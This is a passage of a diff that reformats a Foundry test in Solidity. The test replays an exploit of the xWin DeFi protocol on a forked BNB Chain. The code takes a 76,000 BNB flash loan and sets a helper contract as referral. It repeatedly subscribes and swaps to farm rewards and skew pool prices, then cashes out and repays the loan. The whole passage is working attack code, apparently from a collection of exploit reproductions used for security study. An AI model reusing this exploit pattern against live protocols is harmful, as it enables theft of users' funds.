bool returnInBase; + address referral; +} interface IBank { - function flashloan( - address receiver, - address token, - uint256 amount, - bytes memory params - ) external; - + function flashloan(address receiver, address token, uint256 amount, bytes memory params) external; } interface IxWinDefi { @@ -38,7 +31,6 @@ interface IxWinDefi { function WithdrawReward() external payable; } - contract SimpleAccount { IxWinDefi xWinDefi = IxWinDefi(0x1Bf7fe7568211ecfF68B6bC7CCAd31eCd8fe8092); @@ -47,35 +39,33 @@ contract SimpleAccount { address private owner; - constructor () { + constructor() { owner = msg.sender; } - fallback() external payable{ - } + fallback() external payable {} function subscribe() public { require(msg.sender == owner, "only owner"); - uint bnbbalance = address(this).balance; + uint256 bnbbalance = address(this).balance; TradeParams memory tradeParams = TradeParams({ - xFundAddress: address(PCLPXWIN), - amount: bnbbalance, - priceImpactTolerance: 10000, - deadline : 10000000000000000000000000000000000000000000000000000000000000000000000, - returnInBase : false, - referral : 0x0000000000000000000000000000000000000000 + xFundAddress: address(PCLPXWIN), + amount: bnbbalance, + priceImpactTolerance: 10_000, + deadline: 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000, + returnInBase: false, + referral: 0x0000000000000000000000000000000000000000 }); xWinDefi.Subscribe{value: 11}(tradeParams); } - function withdrawRewards() external{ + function withdrawRewards() external { require(msg.sender == owner, "only owner"); xWinDefi.WithdrawReward(); XWIN.transfer(address(owner), XWIN.balanceOf(address(this))); } } - contract XWinExpTest is Test { CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); @@ -92,38 +82,35 @@ contract XWinExpTest is Test { address payable private repayAddr = payable(0xc78248D676DeBB4597e88071D3d889eCA70E5469); function setUp() public { - cheat.createSelectFork("bsc",8589725); + cheat.createSelectFork("bsc", 8_589_725); deal(address(this), 0); } + function testExploit() external { - bank.flashloan(address(this), 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB, 76000000000000000000000, ""); - emit log_named_decimal_uint( - "Attacker BNB balance after exploit", - address(this).balance, - 18 - ); + bank.flashloan(address(this), 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB, 76_000_000_000_000_000_000_000, ""); + emit log_named_decimal_uint("Attacker BNB balance after exploit", address(this).balance, 18); } function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) external { - require(address(this).balance == 76000000000000000000000, "error"); + require(address(this).balance == 76_000_000_000_000_000_000_000, "error"); SimpleAccount account1 = new SimpleAccount(); payable(address(account1)).call{value: 11}(""); account1.subscribe(); - for (uint i = 0; i < 20; i++) { - uint bnbbalance = address(this).balance; + for (uint256 i = 0; i < 20; i++) { + uint256 bnbbalance = address(this).balance; TradeParams memory tradeParams = TradeParams({ - xFundAddress: address(PCLPXWIN), - amount: bnbbalance, - priceImpactTolerance: 10000, - deadline : 10000000000000000000000000000000000000000000000000000000000000000000000, - returnInBase : false, - referral : address(account1) + xFundAddress: address(PCLPXWIN), + amount: bnbbalance, + priceImpactTolerance: 10_000, + deadline: 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000, + returnInBase: false, + referral: address(account1) }); xWinDefi.Subscribe{value: bnbbalance}(tradeParams); - (uint112 reserve0, uint112 reserve1, ) = xwinwbnbpair.getReserves(); - uint xwinbalance = XWIN.balanceOf(address(this)); - uint wbnbout = getAmountOut(xwinbalance, reserve1, reserve0); + (uint112 reserve0, uint112 reserve1,) = xwinwbnbpair.getReserves(); + uint256 xwinbalance = XWIN.balanceOf(address(this)); + uint256 wbnbout = getAmountOut(xwinbalance, reserve1, reserve0); XWIN.transfer(address(xwinwbnbpair), xwinbalance); xwinwbnbpair.swap(wbnbout, 0, address(this), ""); @@ -138,38 +125,37 @@ contract XWinExpTest is Test { account1.withdrawRewards(); emit log_named_decimal_uint( - "Attacker XWIN balance after exploit", - XWIN.balanceOf(address(this)), - XWIN.decimals() + "Attacker XWIN balance after exploit", XWIN.balanceOf(address(this)), XWIN.decimals() ); - uint xwinbalance = XWIN.balanceOf(address(this)); - (uint112 reserve0, uint112 reserve1, ) = xwinwbnbpair2.getReserves(); - uint wbnbout = getAmountOut(xwinbalance, reserve1, reserve0); + uint256 xwinbalance = XWIN.balanceOf(address(this)); + (uint112 reserve0, uint112 reserve1,) = xwinwbnbpair2.getReserves(); + uint256 wbnbout = getAmountOut(xwinbalance, reserve1, reserve0); XWIN.transfer(address(xwinwbnbpair2), xwinbalance); xwinwbnbpair2.swap(wbnbout, 0, address(this), ""); require(WBNB.balanceOf(address(this)) > fee, "must great than fee"); WBNB.withdraw(WBNB.balanceOf(address(this))); - payable(repayAddr).call{value: amount+fee}(""); + payable(repayAddr).call{value: amount + fee}(""); } function redeem() public payable { - PCLPXWIN.approve(address(xWinDefi), 1000000000000000000000000000000000000000000000000000000000000); - uint pclpxwinbalance = PCLPXWIN.balanceOf(address(this)); + PCLPXWIN.approve( + address(xWinDefi), 1_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000 + ); + uint256 pclpxwinbalance = PCLPXWIN.balanceOf(address(this)); TradeParams memory tradeParams = TradeParams({ - xFundAddress: address(PCLPXWIN), - amount: pclpxwinbalance, - priceImpactTolerance: 10000, - deadline : 10000000000000000000000000000000000000000000000000000000000000000000000, - returnInBase : false, - referral : 0x0000000000000000000000000000000000000000 + xFundAddress: address(PCLPXWIN), + amount: pclpxwinbalance, + priceImpactTolerance: 10_000, + deadline: 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000, + returnInBase: false, + referral: 0x0000000000000000000000000000000000000000 }); xWinDefi.Redeem(tradeParams); } - fallback() external payable{ - } + fallback() external payable {} function getAmountOut( uint256 amountIn, @@ -178,10 +164,9 @@ contract XWinExpTest is Test { ) internal pure returns (uint256 amountOut) { require(amountIn > 0, "PancakeLibrary: INSUFFICIENT_INPUT_AMOUNT"); require(reserveIn > 0 && reserveOut > 0, "PancakeLibrary: INSUFFICIENT_LIQUIDITY"); - uint256 amountInWithFee = amountIn * (10000 - 25); + uint256 amountInWithFee = amountIn * (10_000 - 25); uint256 numerator = amountInWithFee * reserveOut; - uint256 denominator = reserveIn * 10000 + amountInWithFee; + uint256 denominator = reserveIn * 10_000 + amountInWithFee; amountOut = numerator / denominator; } - }